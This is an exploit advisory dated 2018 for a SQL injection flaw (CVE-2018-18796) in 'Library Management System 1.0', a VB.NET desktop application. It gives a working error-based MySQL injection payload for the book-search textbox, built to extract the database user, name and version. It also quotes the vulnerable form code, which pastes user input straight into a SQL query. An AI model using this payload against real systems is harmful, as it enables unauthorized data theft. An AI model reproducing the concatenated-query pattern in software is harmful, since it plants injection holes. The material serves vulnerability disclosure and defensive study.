Library Management System 1.0 SQL Injection

2018.10.30
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

# Exploit Title: Library Management System 1.0 - 'frmListBooks' SQL Injection # Dork: N/A # Date: 2018-10-29 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://www.sourcecodester.com/users/janobe # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/librarymanagementsystem.zip # Version: 1.0 # Category: Windows # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-18796 # POC: # 1) # textSearch System.Windows.Forms.TextBox / [SQL] # # %' And (SElecT 112 FRom(SELECT CoUNT(*),conCAT((SELecT (ELT(112=112,1))),CONCAT_WS(0x203a20,USEr(),DATABASE(),VERsiON()),FLOOR(RAnD(0)*2))x FRoM INFORmaTION_SCHeMA.PLuGINS GRoUP BY x)a) AnD'%'=' # # https://1.bp.blogspot.com/-8FBYHFTLhhQ/W9YnCQg0nZI/AAAAAAAAENM/St0sn1IYjDs5kTjvYQNtT_mBmOEv-RaIgCLcBGAs/s1600/sql1.png # #[PATH]/forms/frmListofBooks.vb #... Public Class frmListBooks Private Sub frmListBooks_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load sql = "SELECT `AccessionNo`, `BookTitle`, `BookDesc` as 'Description', `Author`, `PublishDate`, `BookPublisher`, `Category`,BookType as 'typeOfBooks', `BookPrice` as 'Price', DeweyDecimal " & _ ", Status FROM `tblbooks` b, `tblcategory` c WHERE b.`CategoryId`=c.`CategoryId` " reloadDtg(sql, dtgList) End Sub Private Sub txtSerach_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txtSearch.TextChanged sql = "SELECT `AccessionNo`, `BookTitle`, `BookDesc` as 'Description', `Author`, `PublishDate`, `BookPublisher`, `Category`,BookType as 'typeOfBooks', `BookPrice` as 'Price', DeweyDecimal " & _ ", Status FROM `tblbooks` b, `tblcategory` c WHERE b.`CategoryId`=c.`CategoryId` AND (`BookTitle` Like '%" & txtSearch.Text & "%' OR `Author` Like '%" & txtSearch.Text & "%' OR `AccessionNo` Like '%" & txtSearch.Text & "%')" reloadDtg(sql, dtgList) End Sub Private Sub btnAdd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnAdd.Click Try If dtgList.CurrentRow.Cells(10).Value = "Available" Then frmBorrow.txtAccesionNumBorrow.Text = dtgList.CurrentRow.Cells(0).Value Me.Close() Else MsgBox("The book is already borrowed.", MsgBoxStyle.Exclamation) End If Catch ex As Exception End Try End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Me.Close() End Sub End Class


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